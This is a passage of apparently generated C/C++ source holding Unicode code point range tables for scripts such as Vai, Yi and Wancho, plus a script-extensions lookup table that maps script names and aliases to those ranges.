{0x12B1, 0x12B1}, {0x12B6, 0x12B7}, {0x12BF, 0x12BF}, {0x12C1, 0x12C1}, {0x12C6, 0x12C7}, {0x12D7, 0x12D7}, {0x1311, 0x1311}, {0x1316, 0x1317}, {0x135B, 0x135C}, {0x137D, 0x137F}, {0x139A, 0x139F}, {0x13F6, 0x13F7}, {0x13FE, 0x13FF}, {0x169D, 0x169F}, {0x16F9, 0x16FF}, {0x1716, 0x171E}, {0x1737, 0x173F}, {0x1754, 0x175F}, {0x176D, 0x176D}, {0x1771, 0x1771}, {0x1774, 0x177F}, {0x17DE, 0x17DF}, {0x17EA, 0x17EF}, {0x17FA, 0x17FF}, {0x181A, 0x181F}, {0x1879, 0x187F}, {0x18AB, 0x18AF}, {0x18F6, 0x18FF}, {0x191F, 0x191F}, {0x192C, 0x192F}, {0x193C, 0x193F}, {0x1941, 0x1943}, {0x196E, 0x196F}, {0x1975, 0x197F}, {0x19AC, 0x19AF}, {0x19CA, 0x19CF}, {0x19DB, 0x19DD}, {0x1A1C, 0x1A1D}, {0x1A5F, 0x1A5F}, {0x1A7D, 0x1A7E}, {0x1A8A, 0x1A8F}, {0x1A9A, 0x1A9F}, {0x1AAE, 0x1AAF}, {0x1ADE, 0x1ADF}, {0x1AEC, 0x1AFF}, {0x1B4D, 0x1B4D}, {0x1BF4, 0x1BFB}, {0x1C38, 0x1C3A}, {0x1C4A, 0x1C4C}, {0x1C8B, 0x1C8F}, {0x1CBB, 0x1CBC}, {0x1CC8, 0x1CCF}, {0x1CFB, 0x1CFF}, {0x1F16, 0x1F17}, {0x1F1E, 0x1F1F}, {0x1F46, 0x1F47}, {0x1F4E, 0x1F4F}, {0x1F58, 0x1F58}, {0x1F5A, 0x1F5A}, {0x1F5C, 0x1F5C}, {0x1F5E, 0x1F5E}, {0x1F7E, 0x1F7F}, {0x1FB5, 0x1FB5}, {0x1FC5, 0x1FC5}, {0x1FD4, 0x1FD5}, {0x1FDC, 0x1FDC}, {0x1FF0, 0x1FF1}, {0x1FF5, 0x1FF5}, {0x1FFF, 0x1FFF}, {0x2065, 0x2065}, {0x2072, 0x2073}, {0x208F, 0x208F}, {0x209D, 0x209F}, {0x20C2, 0x20CF}, {0x20F1, 0x20FF}, {0x218C, 0x218F}, {0x242A, 0x243F}, {0x244B, 0x245F}, {0x2B74, 0x2B75}, {0x2CF4, 0x2CF8}, {0x2D26, 0x2D26}, {0x2D28, 0x2D2C}, {0x2D2E, 0x2D2F}, {0x2D68, 0x2D6E}, {0x2D71, 0x2D7E}, {0x2D97, 0x2D9F}, {0x2DA7, 0x2DA7}, {0x2DAF, 0x2DAF}, {0x2DB7, 0x2DB7}, {0x2DBF, 0x2DBF}, {0x2DC7, 0x2DC7}, {0x2DCF, 0x2DCF}, {0x2DD7, 0x2DD7}, {0x2DDF, 0x2DDF}, {0x2E5E, 0x2E7F}, {0x2E9A, 0x2E9A}, {0x2EF4, 0x2EFF}, {0x2FD6, 0x2FEF}, {0x3040, 0x3040}, {0x3097, 0x3098}, {0x3100, 0x3104}, {0x3130, 0x3130}, {0x318F, 0x318F}, {0x31E6, 0x31EE}, {0x321F, 0x321F}, {0xA48D, 0xA48F}, {0xA4C7, 0xA4CF}, {0xA62C, 0xA63F}, {0xA6F8, 0xA6FF}, {0xA7DD, 0xA7F0}, {0xA82D, 0xA82F}, {0xA83A, 0xA83F}, {0xA878, 0xA87F}, {0xA8C6, 0xA8CD}, {0xA8DA, 0xA8DF}, {0xA954, 0xA95E}, {0xA97D, 0xA97F}, {0xA9CE, 0xA9CE}, {0xA9DA, 0xA9DD}, {0xA9FF, 0xA9FF}, {0xAA37, 0xAA3F}, {0xAA4E, 0xAA4F}, {0xAA5A, 0xAA5B}, {0xAAC3, 0xAADA}, {0xAAF7, 0xAB00}, {0xAB07, 0xAB08}, {0xAB0F, 0xAB10}, {0xAB17, 0xAB1F}, {0xAB27, 0xAB27}, {0xAB2F, 0xAB2F}, {0xAB6C, 0xAB6F}, {0xABEE, 0xABEF}, {0xABFA, 0xABFF}, {0xD7A4, 0xD7AF}, {0xD7C7, 0xD7CA}, {0xD7FC, 0xF8FF}, {0xFA6E, 0xFA6F}, {0xFADA, 0xFAFF}, {0xFB07, 0xFB12}, {0xFB18, 0xFB1C}, {0xFB37, 0xFB37}, {0xFB3D, 0xFB3D}, {0xFB3F, 0xFB3F}, {0xFB42, 0xFB42}, {0xFB45, 0xFB45}, {0xFDD0, 0xFDEF}, {0xFE1A, 0xFE1F}, {0xFE53, 0xFE53}, {0xFE67, 0xFE67}, {0xFE6C, 0xFE6F}, {0xFE75, 0xFE75}, {0xFEFD, 0xFEFE}, {0xFF00, 0xFF00}, {0xFFBF, 0xFFC1}, {0xFFC8, 0xFFC9}, {0xFFD0, 0xFFD1}, {0xFFD8, 0xFFD9}, {0xFFDD, 0xFFDF}, {0xFFE7, 0xFFE7}, {0xFFEF, 0xFFF8}, {0xFFFE, 0xFFFF}, {0x1000C, 0x1000C}, {0x10027, 0x10027}, {0x1003B, 0x1003B}, {0x1003E, 0x1003E}, {0x1004E, 0x1004F}, {0x1005E, 0x1007F}, {0x100FB, 0x100FF}, {0x10103, 0x10106}, {0x10134, 0x10136}, {0x1018F, 0x1018F}, {0x1019D, 0x1019F}, {0x101A1, 0x101CF}, {0x101FE, 0x1027F}, {0x1029D, 0x1029F}, {0x102D1, 0x102DF}, {0x102FC, 0x102FF}, {0x10324, 0x1032C}, {0x1034B, 0x1034F}, {0x1037B, 0x1037F}, {0x1039E, 0x1039E}, {0x103C4, 0x103C7}, {0x103D6, 0x103FF}, {0x1049E, 0x1049F}, {0x104AA, 0x104AF}, {0x104D4, 0x104D7}, {0x104FC, 0x104FF}, {0x10528, 0x1052F}, {0x10564, 0x1056E}, {0x1057B, 0x1057B}, {0x1058B, 0x1058B}, {0x10593, 0x10593}, {0x10596, 0x10596}, {0x105A2, 0x105A2}, {0x105B2, 0x105B2}, {0x105BA, 0x105BA}, {0x105BD, 0x105BF}, {0x105F4, 0x105FF}, {0x10737, 0x1073F}, {0x10756, 0x1075F}, {0x10768, 0x1077F}, {0x10786, 0x10786}, {0x107B1, 0x107B1}, {0x107BB, 0x107FF}, {0x10806, 0x10807}, {0x10809, 0x10809}, {0x10836, 0x10836}, {0x10839, 0x1083B}, {0x1083D, 0x1083E}, {0x10856, 0x10856}, {0x1089F, 0x108A6}, {0x108B0, 0x108DF}, {0x108F3, 0x108F3}, {0x108F6, 0x108FA}, {0x1091C, 0x1091E}, {0x1093A, 0x1093E}, {0x1095A, 0x1097F}, {0x109B8, 0x109BB}, {0x109D0, 0x109D1}, {0x10A04, 0x10A04}, {0x10A07, 0x10A0B}, {0x10A14, 0x10A14}, {0x10A18, 0x10A18}, {0x10A36, 0x10A37}, {0x10A3B, 0x10A3E}, {0x10A49, 0x10A4F}, {0x10A59, 0x10A5F}, {0x10AA0, 0x10ABF}, {0x10AE7, 0x10AEA}, {0x10AF7, 0x10AFF}, {0x10B36, 0x10B38}, {0x10B56, 0x10B57}, {0x10B73, 0x10B77}, {0x10B92, 0x10B98}, {0x10B9D, 0x10BA8}, {0x10BB0, 0x10BFF}, {0x10C49, 0x10C7F}, {0x10CB3, 0x10CBF}, {0x10CF3, 0x10CF9}, {0x10D28, 0x10D2F}, {0x10D3A, 0x10D3F}, {0x10D66, 0x10D68}, {0x10D86, 0x10D8D}, {0x10D90, 0x10E5F}, {0x10E7F, 0x10E7F}, {0x10EAA, 0x10EAA}, {0x10EAE, 0x10EAF}, {0x10EB2, 0x10EC1}, {0x10EC8, 0x10ECF}, {0x10ED9, 0x10EF9}, {0x10F28, 0x10F2F}, {0x10F5A, 0x10F6F}, {0x10F8A, 0x10FAF}, {0x10FCC, 0x10FDF}, {0x10FF7, 0x10FFF}, {0x1104E, 0x11051}, {0x11076, 0x1107E}, {0x110C3, 0x110CC}, {0x110CE, 0x110CF}, {0x110E9, 0x110EF}, {0x110FA, 0x110FF}, {0x11135, 0x11135}, {0x11148, 0x1114F}, {0x11177, 0x1117F}, {0x111E0, 0x111E0}, {0x111F5, 0x111FF}, {0x11212, 0x11212}, {0x11242, 0x1127F}, {0x11287, 0x11287}, {0x11289, 0x11289}, {0x1128E, 0x1128E}, {0x1129E, 0x1129E}, {0x112AA, 0x112AF}, {0x112EB, 0x112EF}, {0x112FA, 0x112FF}, {0x11304, 0x11304}, {0x1130D, 0x1130E}, {0x11311, 0x11312}, {0x11329, 0x11329}, {0x11331, 0x11331}, {0x11334, 0x11334}, {0x1133A, 0x1133A}, {0x11345, 0x11346}, {0x11349, 0x1134A}, {0x1134E, 0x1134F}, {0x11351, 0x11356}, {0x11358, 0x1135C}, {0x11364, 0x11365}, {0x1136D, 0x1136F}, {0x11375, 0x1137F}, {0x1138A, 0x1138A}, {0x1138C, 0x1138D}, {0x1138F, 0x1138F}, {0x113B6, 0x113B6}, {0x113C1, 0x113C1}, {0x113C3, 0x113C4}, {0x113C6, 0x113C6}, {0x113CB, 0x113CB}, {0x113D6, 0x113D6}, {0x113D9, 0x113E0}, {0x113E3, 0x113FF}, {0x1145C, 0x1145C}, {0x11462, 0x1147F}, {0x114C8, 0x114CF}, {0x114DA, 0x1157F}, {0x115B6, 0x115B7}, {0x115DE, 0x115FF}, {0x11645, 0x1164F}, {0x1165A, 0x1165F}, {0x1166D, 0x1167F}, {0x116BA, 0x116BF}, {0x116CA, 0x116CF}, {0x116E4, 0x116FF}, {0x1171B, 0x1171C}, {0x1172C, 0x1172F}, {0x11747, 0x117FF}, {0x1183C, 0x1189F}, {0x118F3, 0x118FE}, {0x11907, 0x11908}, {0x1190A, 0x1190B}, {0x11914, 0x11914}, {0x11917, 0x11917}, {0x11936, 0x11936}, {0x11939, 0x1193A}, {0x11947, 0x1194F}, {0x1195A, 0x1199F}, {0x119A8, 0x119A9}, {0x119D8, 0x119D9}, {0x119E5, 0x119FF}, {0x11A48, 0x11A4F}, {0x11AA3, 0x11AAF}, {0x11AF9, 0x11AFF}, {0x11B0A, 0x11B5F}, {0x11B68, 0x11BBF}, {0x11BE2, 0x11BEF}, {0x11BFA, 0x11BFF}, {0x11C09, 0x11C09}, {0x11C37, 0x11C37}, {0x11C46, 0x11C4F}, {0x11C6D, 0x11C6F}, {0x11C90, 0x11C91}, {0x11CA8, 0x11CA8}, {0x11CB7, 0x11CFF}, {0x11D07, 0x11D07}, {0x11D0A, 0x11D0A}, {0x11D37, 0x11D39}, {0x11D3B, 0x11D3B}, {0x11D3E, 0x11D3E}, {0x11D48, 0x11D4F}, {0x11D5A, 0x11D5F}, {0x11D66, 0x11D66}, {0x11D69, 0x11D69}, {0x11D8F, 0x11D8F}, {0x11D92, 0x11D92}, {0x11D99, 0x11D9F}, {0x11DAA, 0x11DAF}, {0x11DDC, 0x11DDF}, {0x11DEA, 0x11EDF}, {0x11EF9, 0x11EFF}, {0x11F11, 0x11F11}, {0x11F3B, 0x11F3D}, {0x11F5B, 0x11FAF}, {0x11FB1, 0x11FBF}, {0x11FF2, 0x11FFE}, {0x1239A, 0x123FF}, {0x1246F, 0x1246F}, {0x12475, 0x1247F}, {0x12544, 0x12F8F}, {0x12FF3, 0x12FFF}, {0x13456, 0x1345F}, {0x143FB, 0x143FF}, {0x14647, 0x160FF}, {0x1613A, 0x167FF}, {0x16A39, 0x16A3F}, {0x16A5F, 0x16A5F}, {0x16A6A, 0x16A6D}, {0x16ABF, 0x16ABF}, {0x16ACA, 0x16ACF}, {0x16AEE, 0x16AEF}, {0x16AF6, 0x16AFF}, {0x16B46, 0x16B4F}, {0x16B5A, 0x16B5A}, {0x16B62, 0x16B62}, {0x16B78, 0x16B7C}, {0x16B90, 0x16D3F}, {0x16D7A, 0x16E3F}, {0x16E9B, 0x16E9F}, {0x16EB9, 0x16EBA}, {0x16ED4, 0x16EFF}, {0x16F4B, 0x16F4E}, {0x16F88, 0x16F8E}, {0x16FA0, 0x16FDF}, {0x16FE5, 0x16FEF}, {0x16FF7, 0x16FFF}, {0x18CD6, 0x18CFE}, {0x18D1F, 0x18D7F}, {0x18DF3, 0x1AFEF}, {0x1AFF4, 0x1AFF4}, {0x1AFFC, 0x1AFFC}, {0x1AFFF, 0x1AFFF}, {0x1B123, 0x1B131}, {0x1B133, 0x1B14F}, {0x1B153, 0x1B154}, {0x1B156, 0x1B163}, {0x1B168, 0x1B16F}, {0x1B2FC, 0x1BBFF}, {0x1BC6B, 0x1BC6F}, {0x1BC7D, 0x1BC7F}, {0x1BC89, 0x1BC8F}, {0x1BC9A, 0x1BC9B}, {0x1BCA4, 0x1CBFF}, {0x1CCFD, 0x1CCFF}, {0x1CEB4, 0x1CEB9}, {0x1CED1, 0x1CEDF}, {0x1CEF1, 0x1CEFF}, {0x1CF2E, 0x1CF2F}, {0x1CF47, 0x1CF4F}, {0x1CFC4, 0x1CFFF}, {0x1D0F6, 0x1D0FF}, {0x1D127, 0x1D128}, {0x1D1EB, 0x1D1FF}, {0x1D246, 0x1D2BF}, {0x1D2D4, 0x1D2DF}, {0x1D2F4, 0x1D2FF}, {0x1D357, 0x1D35F}, {0x1D379, 0x1D3FF}, {0x1D455, 0x1D455}, {0x1D49D, 0x1D49D}, {0x1D4A0, 0x1D4A1}, {0x1D4A3, 0x1D4A4}, {0x1D4A7, 0x1D4A8}, {0x1D4AD, 0x1D4AD}, {0x1D4BA, 0x1D4BA}, {0x1D4BC, 0x1D4BC}, {0x1D4C4, 0x1D4C4}, {0x1D506, 0x1D506}, {0x1D50B, 0x1D50C}, {0x1D515, 0x1D515}, {0x1D51D, 0x1D51D}, {0x1D53A, 0x1D53A}, {0x1D53F, 0x1D53F}, {0x1D545, 0x1D545}, {0x1D547, 0x1D549}, {0x1D551, 0x1D551}, {0x1D6A6, 0x1D6A7}, {0x1D7CC, 0x1D7CD}, {0x1DA8C, 0x1DA9A}, {0x1DAA0, 0x1DAA0}, {0x1DAB0, 0x1DEFF}, {0x1DF1F, 0x1DF24}, {0x1DF2B, 0x1DFFF}, {0x1E007, 0x1E007}, {0x1E019, 0x1E01A}, {0x1E022, 0x1E022}, {0x1E025, 0x1E025}, {0x1E02B, 0x1E02F}, {0x1E06E, 0x1E08E}, {0x1E090, 0x1E0FF}, {0x1E12D, 0x1E12F}, {0x1E13E, 0x1E13F}, {0x1E14A, 0x1E14D}, {0x1E150, 0x1E28F}, {0x1E2AF, 0x1E2BF}, {0x1E2FA, 0x1E2FE}, {0x1E300, 0x1E4CF}, {0x1E4FA, 0x1E5CF}, {0x1E5FB, 0x1E5FE}, {0x1E600, 0x1E6BF}, {0x1E6DF, 0x1E6DF}, {0x1E6F6, 0x1E6FD}, {0x1E700, 0x1E7DF}, {0x1E7E7, 0x1E7E7}, {0x1E7EC, 0x1E7EC}, {0x1E7EF, 0x1E7EF}, {0x1E7FF, 0x1E7FF}, {0x1E8C5, 0x1E8C6}, {0x1E8D7, 0x1E8FF}, {0x1E94C, 0x1E94F}, {0x1E95A, 0x1E95D}, {0x1E960, 0x1EC70}, {0x1ECB5, 0x1ED00}, {0x1ED3E, 0x1EDFF}, {0x1EE04, 0x1EE04}, {0x1EE20, 0x1EE20}, {0x1EE23, 0x1EE23}, {0x1EE25, 0x1EE26}, {0x1EE28, 0x1EE28}, {0x1EE33, 0x1EE33}, {0x1EE38, 0x1EE38}, {0x1EE3A, 0x1EE3A}, {0x1EE3C, 0x1EE41}, {0x1EE43, 0x1EE46}, {0x1EE48, 0x1EE48}, {0x1EE4A, 0x1EE4A}, {0x1EE4C, 0x1EE4C}, {0x1EE50, 0x1EE50}, {0x1EE53, 0x1EE53}, {0x1EE55, 0x1EE56}, {0x1EE58, 0x1EE58}, {0x1EE5A, 0x1EE5A}, {0x1EE5C, 0x1EE5C}, {0x1EE5E, 0x1EE5E}, {0x1EE60, 0x1EE60}, {0x1EE63, 0x1EE63}, {0x1EE65, 0x1EE66}, {0x1EE6B, 0x1EE6B}, {0x1EE73, 0x1EE73}, {0x1EE78, 0x1EE78}, {0x1EE7D, 0x1EE7D}, {0x1EE7F, 0x1EE7F}, {0x1EE8A, 0x1EE8A}, {0x1EE9C, 0x1EEA0}, {0x1EEA4, 0x1EEA4}, {0x1EEAA, 0x1EEAA}, {0x1EEBC, 0x1EEEF}, {0x1EEF2, 0x1EFFF}, {0x1F02C, 0x1F02F}, {0x1F094, 0x1F09F}, {0x1F0AF, 0x1F0B0}, {0x1F0C0, 0x1F0C0}, {0x1F0D0, 0x1F0D0}, {0x1F0F6, 0x1F0FF}, {0x1F1AE, 0x1F1E5}, {0x1F203, 0x1F20F}, {0x1F23C, 0x1F23F}, {0x1F249, 0x1F24F}, {0x1F252, 0x1F25F}, {0x1F266, 0x1F2FF}, {0x1F6D9, 0x1F6DB}, {0x1F6ED, 0x1F6EF}, {0x1F6FD, 0x1F6FF}, {0x1F7DA, 0x1F7DF}, {0x1F7EC, 0x1F7EF}, {0x1F7F1, 0x1F7FF}, {0x1F80C, 0x1F80F}, {0x1F848, 0x1F84F}, {0x1F85A, 0x1F85F}, {0x1F888, 0x1F88F}, {0x1F8AE, 0x1F8AF}, {0x1F8BC, 0x1F8BF}, {0x1F8C2, 0x1F8CF}, {0x1F8D9, 0x1F8FF}, {0x1FA58, 0x1FA5F}, {0x1FA6E, 0x1FA6F}, {0x1FA7D, 0x1FA7F}, {0x1FA8B, 0x1FA8D}, {0x1FAC7, 0x1FAC7}, {0x1FAC9, 0x1FACC}, {0x1FADD, 0x1FADE}, {0x1FAEB, 0x1FAEE}, {0x1FAF9, 0x1FAFF}, {0x1FB93, 0x1FB93}, {0x1FBFB, 0x1FFFF}, {0x2A6E0, 0x2A6FF}, {0x2B81E, 0x2B81F}, {0x2CEAE, 0x2CEAF}, {0x2EBE1, 0x2EBEF}, {0x2EE5E, 0x2F7FF}, {0x2FA1E, 0x2FFFF}, {0x3134B, 0x3134F}, {0x3347A, 0xE0000}, {0xE0002, 0xE001F}, {0xE0080, 0xE00FF}, {0xE01F0, 0x10FFFF}, }; static const UnicodeRange kRanges_Vai[] = { {0xA500, 0xA62B}, }; static const UnicodeRange kRanges_Vithkuqi[] = { {0x10570, 0x1057A}, {0x1057C, 0x1058A}, {0x1058C, 0x10592}, {0x10594, 0x10595}, {0x10597, 0x105A1}, {0x105A3, 0x105B1}, {0x105B3, 0x105B9}, {0x105BB, 0x105BC}, }; static const UnicodeRange kRanges_Wancho[] = { {0x1E2C0, 0x1E2F9}, {0x1E2FF, 0x1E2FF}, }; static const UnicodeRange kRanges_Warang_Citi[] = { {0x118A0, 0x118F2}, {0x118FF, 0x118FF}, }; static const UnicodeRange kRanges_Yezidi[] = { {0x60C, 0x60C}, {0x61B, 0x61B}, {0x61F, 0x61F}, {0x660, 0x669}, {0x10E80, 0x10EA9}, {0x10EAB, 0x10EAD}, {0x10EB0, 0x10EB1}, }; static const UnicodeRange kRanges_Yi[] = { {0x3001, 0x3002}, {0x3008, 0x3011}, {0x3014, 0x301B}, {0x30FB, 0x30FB}, {0xA000, 0xA48C}, {0xA490, 0xA4C6}, {0xFF61, 0xFF65}, }; static const UnicodeRange kRanges_Zanabazar_Square[] = { {0x11A00, 0x11A47}, }; static const UnicodePropertyTable kScriptExtensions[] = { {"Adlam", kRanges_Adlam, 7}, {"Adlm", kRanges_Adlam, 7}, {"Ahom", kRanges_Ahom, 3}, {"Anatolian_Hieroglyphs", kRanges_Anatolian_Hieroglyphs, 1}, {"Hluw", kRanges_Anatolian_Hieroglyphs, 1}, {"Arabic", kRanges_Arabic, 52}, {"Arab", kRanges_Arabic, 52}, {"Armenian", kRanges_Armenian, 5}, {"Armn", kRanges_Armenian, 5}, {"Avestan", kRanges_Avestan, 4}, {"Avst", kRanges_Avestan, 4}, {"Balinese", kRanges_Balinese, 2}, {"Bali", kRanges_Balinese, 2}, {"Bamum", kRanges_Bamum, 2}, {"Bamu", kRanges_Bamum, 2}, {"Bassa_Vah", kRanges_Bassa_Vah, 2}, {"Bass", kRanges_Bassa_Vah, 2}, {"Batak", kRanges_Batak, 2}, {"Batk", kRanges_Batak, 2}, {"Bengali", kRanges_Bengali, 27}, {"Beng", kRanges_Bengali, 27}, {"Beria_Erfe", kRanges_Beria_Erfe, 2}, {"Berf", kRanges_Beria_Erfe, 2}, {"Bhaiksuki", kRanges_Bhaiksuki, 4}, {"Bhks", kRanges_Bhaiksuki, 4}, {"Bopomofo", kRanges_Bopomofo, 15}, {"Bopo", kRanges_Bopomofo, 15}, {"Brahmi", kRanges_Brahmi, 3}, {"Brah", kRanges_Brahmi, 3}, {"Braille", kRanges_Braille, 1}, {"Brai", kRanges_Braille, 1}, {"Buginese", kRanges_Buginese, 3}, {"Bugi", kRanges_Buginese, 3}, {"Buhid", kRanges_Buhid, 2}, {"Buhd", kRanges_Buhid, 2}, {"Canadian_Aboriginal", kRanges_Canadian_Aboriginal, 3}, {"Cans", kRanges_Canadian_Aboriginal, 3}, {"Carian", kRanges_Carian, 5}, {"Cari", kRanges_Carian, 5}, {"Caucasian_Albanian", kRanges_Caucasian_Albanian, 5}, {"Aghb", kRanges_Caucasian_Albanian, 5}, {"Chakma", kRanges_Chakma, 4}, {"Cakm", kRanges_Chakma, 4}, {"Cham", kRanges_Cham, 4}, {"Cherokee", kRanges_Cherokee, 8}, {"Cher", kRanges_Cherokee, 8}, {"Chorasmian", kRanges_Chorasmian, 1}, {"Chrs", kRanges_Chorasmian, 1}, {"Common", kRanges_Common, 161}, {"Zyyy", kRanges_Common, 161}, {"Coptic", kRanges_Coptic, 10}, {"Copt", kRanges_Coptic, 10}, {"Cuneiform", kRanges_Cuneiform, 4}, {"Xsux", kRanges_Cuneiform, 4}, {"Cypriot", kRanges_Cypriot, 9}, {"Cprt", kRanges_Cypriot, 9}, {"Cypro_Minoan", kRanges_Cypro_Minoan, 2}, {"Cpmn", kRanges_Cypro_Minoan, 2}, {"Cyrillic", kRanges_Cyrillic, 18}, {"Cyrl", kRanges_Cyrillic, 18}, {"Deseret", kRanges_Deseret, 1}, {"Dsrt", kRanges_Deseret, 1}, {"Devanagari", kRanges_Devanagari, 9}, {"Deva", kRanges_Devanagari, 9}, {"Dives_Akuru", kRanges_Dives_Akuru, 8}, {"Diak", kRanges_Dives_Akuru, 8}, {"Dogra", kRanges_Dogra, 3}, {"Dogr", kRanges_Dogra, 3}, {"Duployan", kRanges_Duployan, 10}, {"Dupl", kRanges_Duployan, 10}, {"Egyptian_Hieroglyphs", kRanges_Egyptian_Hieroglyphs, 2}, {"Egyp", kRanges_Egyptian_Hieroglyphs, 2}, {"Elbasan", kRanges_Elbasan, 3}, {"Elba", kRanges_Elbasan, 3}, {"Elymaic", kRanges_Elymaic, 1}, {"Elym", kRanges_Elymaic, 1}, {"Ethiopic", kRanges_Ethiopic, 37}, {"Ethi", kRanges_Ethiopic, 37}, {"Garay", kRanges_Garay, 6}, {"Gara", kRanges_Garay, 6}, {"Georgian", kRanges_Georgian, 13}, {"Geor", kRanges_Georgian, 13}, {"Glagolitic", kRanges_Glagolitic, 16}, {"Glag", kRanges_Glagolitic, 16}, {"Gothic", kRanges_Gothic, 5}, {"Goth", kRanges_Gothic, 5}, {"Grantha", kRanges_Grantha, 25}, {"Gran", kRanges_Grantha, 25}, {"Greek", kRanges_Greek, 44}, {"Grek", kRanges_Greek, 44}, {"Gujarati", kRanges_Gujarati, 17}, {"Gujr", kRanges_Gujarati, 17}, {"Gunjala_Gondi", kRanges_Gunjala_Gondi, 8}, {"Gong", kRanges_Gunjala_Gondi, 8}, {"Gurmukhi", kRanges_Gurmukhi, 19}, {"Guru", kRanges_Gurmukhi, 19}, {"Gurung_Khema", kRanges_Gurung_Khema, 2}, {"Gukh", kRanges_Gurung_Khema, 2}, {"Han", kRanges_Han, 41}, {"Hani", kRanges_Han, 41}, {"Hangul", kRanges_Hangul, 21}, {"Hang", kRanges_Hangul, 21}, {"Hanifi_Rohingya", kRanges_Hanifi_Rohingya, 7}, {"Rohg", kRanges_Hanifi_Rohingya, 7}, {"Hanunoo", kRanges_Hanunoo, 1}, {"Hano", kRanges_Hanunoo, 1}, {"Hatran", kRanges_Hatran, 3}, {"Hatr", kRanges_Hatran, 3}, {"Hebrew", kRanges_Hebrew, 10}, {"Hebr", kRanges_Hebrew, 10}, {"Hiragana", kRanges_Hiragana, 17}, {"Hira", kRanges_Hiragana, 17}, {"Imperial_Aramaic", kRanges_Imperial_Aramaic, 2}, {"Armi", kRanges_Imperial_Aramaic, 2}, {"Inherited", kRanges_Inherited, 28}, {"Zinh", kRanges_Inherited, 28}, {"Inscriptional_Pahlavi", kRanges_Inscriptional_Pahlavi, 2}, {"Phli", kRanges_Inscriptional_Pahlavi, 2}, {"Inscriptional_Parthian", kRanges_Inscriptional_Parthian, 2}, {"Prti", kRanges_Inscriptional_Parthian, 2}, {"Javanese", kRanges_Javanese, 3}, {"Java", kRanges_Javanese, 3}, {"Kaithi", kRanges_Kaithi, 5}, {"Kthi", kRanges_Kaithi, 5}, {"Kannada", kRanges_Kannada, 21}, {"Knda", kRanges_Kannada, 21}, {"Katakana", kRanges_Katakana, 22}, {"Kana", kRanges_Katakana, 22}, {"Kawi", kRanges_Kawi, 3}, {"Kayah_Li", kRanges_Kayah_Li, 1}, {"Kali", kRanges_Kayah_Li, 1}, {"Kharoshthi", kRanges_Kharoshthi, 8}, {"Khar", kRanges_Kharoshthi, 8}, {"Khitan_Small_Script", kRanges_Khitan_Small_Script, 3}, {"Kits", kRanges_Khitan_Small_Script, 3}, {"Khmer", kRanges_Khmer, 4}, {"Khmr", kRanges_Khmer, 4}, {"Khojki", kRanges_Khojki, 4}, {"Khoj", kRanges_Khojki, 4}, {"Khudawadi", kRanges_Khudawadi, 4}, {"Sind", kRanges_Khudawadi, 4}, {"Kirat_Rai", kRanges_Kirat_Rai, 1}, {"Krai", kRanges_Kirat_Rai, 1}, {"Lao", kRanges_Lao, 11}, {"Laoo", kRanges_Lao, 11}, {"Latin", kRanges_Latin, 61}, {"Latn", kRanges_Latin, 61}, {"Lepcha", kRanges_Lepcha, 3}, {"Lepc", kRanges_Lepcha, 3}, {"Limbu", kRanges_Limbu, 6}, {"Limb", kRanges_Limbu, 6}, {"Linear_A", kRanges_Linear_A, 4}, {"Lina", kRanges_Linear_A, 4}, {"Linear_B", kRanges_Linear_B, 10}, {"Linb", kRanges_Linear_B, 10}, {"Lisu", kRanges_Lisu, 5}, {"Lycian", kRanges_Lycian, 2}, {"Lyci", kRanges_Lycian, 2}, {"Lydian", kRanges_Lydian, 4}, {"Lydi", kRanges_Lydian, 4}, {"Mahajani", kRanges_Mahajani, 4}, {"Mahj", kRanges_Mahajani, 4}, {"Makasar", kRanges_Makasar, 1}, {"Maka", kRanges_Makasar, 1}, {"Malayalam", kRanges_Malayalam, 12}, {"Mlym", kRanges_Malayalam, 12}, {"Mandaic", kRanges_Mandaic, 3}, {"Mand", kRanges_Mandaic, 3}, {"Manichaean", kRanges_Manichaean, 3}, {"Mani", kRanges_Manichaean, 3}, {"Marchen", kRanges_Marchen, 3}, {"Marc", kRanges_Marchen, 3}, {"Masaram_Gondi", kRanges_Masaram_Gondi, 8}, {"Gonm", kRanges_Masaram_Gondi, 8}, {"Medefaidrin", kRanges_Medefaidrin, 1}, {"Medf", kRanges_Medefaidrin, 1}, {"Meetei_Mayek", kRanges_Meetei_Mayek, 3}, {"Mtei", kRanges_Meetei_Mayek, 3}, {"Mende_Kikakui", kRanges_Mende_Kikakui, 2}, {"Mend", kRanges_Mende_Kikakui, 2}, {"Meroitic_Cursive", kRanges_Meroitic_Cursive, 3}, {"Merc", kRanges_Meroitic_Cursive, 3}, {"Meroitic_Hieroglyphs", kRanges_Meroitic_Hieroglyphs, 2}, {"Mero", kRanges_Meroitic_Hieroglyphs, 2}, {"Miao", kRanges_Miao, 3}, {"Plrd", kRanges_Miao, 3}, {"Modi", kRanges_Modi, 3}, {"Mongolian", kRanges_Mongolian, 7}, {"Mong", kRanges_Mongolian, 7}, {"Mro", kRanges_Mro, 3}, {"Mroo", kRanges_Mro, 3}, {"Multani", kRanges_Multani, 6}, {"Mult", kRanges_Multani, 6}, {"Myanmar", kRanges_Myanmar, 5}, {"Mymr", kRanges_Myanmar, 5}, {"Nabataean", kRanges_Nabataean, 2}, {"Nbat", kRanges_Nabataean, 2}, {"Nag_Mundari", kRanges_Nag_Mundari, 1}, {"Nagm", kRanges_Nag_Mundari, 1}, {"Nandinagari", kRanges_Nandinagari, 10}, {"Nand", kRanges_Nandinagari, 10}, {"New_Tai_Lue", kRanges_New_Tai_Lue, 4}, {"Talu", kRanges_New_Tai_Lue, 4}, {"Newa", kRanges_Newa, 9}, {"Nko", kRanges_Nko, 6}, {"Nkoo", kRanges_Nko, 6}, {"Nushu", kRanges_Nushu, 2}, {"Nshu", kRanges_Nushu, 2}, {"Nyiakeng_Puachue_Hmong", kRanges_Nyiakeng_Puachue_Hmong, 4}, {"Hmnp", kRanges_Nyiakeng_Puachue_Hmong, 4}, {"Ogham", kRanges_Ogham, 1}, {"Ogam", kRanges_Ogham, 1}, {"Ol_Chiki", kRanges_Ol_Chiki, 1}, {"Olck", kRanges_Ol_Chiki, 1}, {"Ol_Onal", kRanges_Ol_Onal, 3}, {"Onao", kRanges_Ol_Onal, 3}, {"Old_Hungarian", kRanges_Old_Hungarian, 7}, {"Hung", kRanges_Old_Hungarian, 7}, {"Old_Italic", kRanges_Old_Italic, 2}, {"Ital", kRanges_Old_Italic, 2}, {"Old_North_Arabian", kRanges_Old_North_Arabian, 1}, {"Narb", kRanges_Old_North_Arabian, 1}, {"Old_Permic", kRanges_Old_Permic, 6}, {"Perm", kRanges_Old_Permic, 6}, {"Old_Persian", kRanges_Old_Persian, 2}, {"Xpeo", 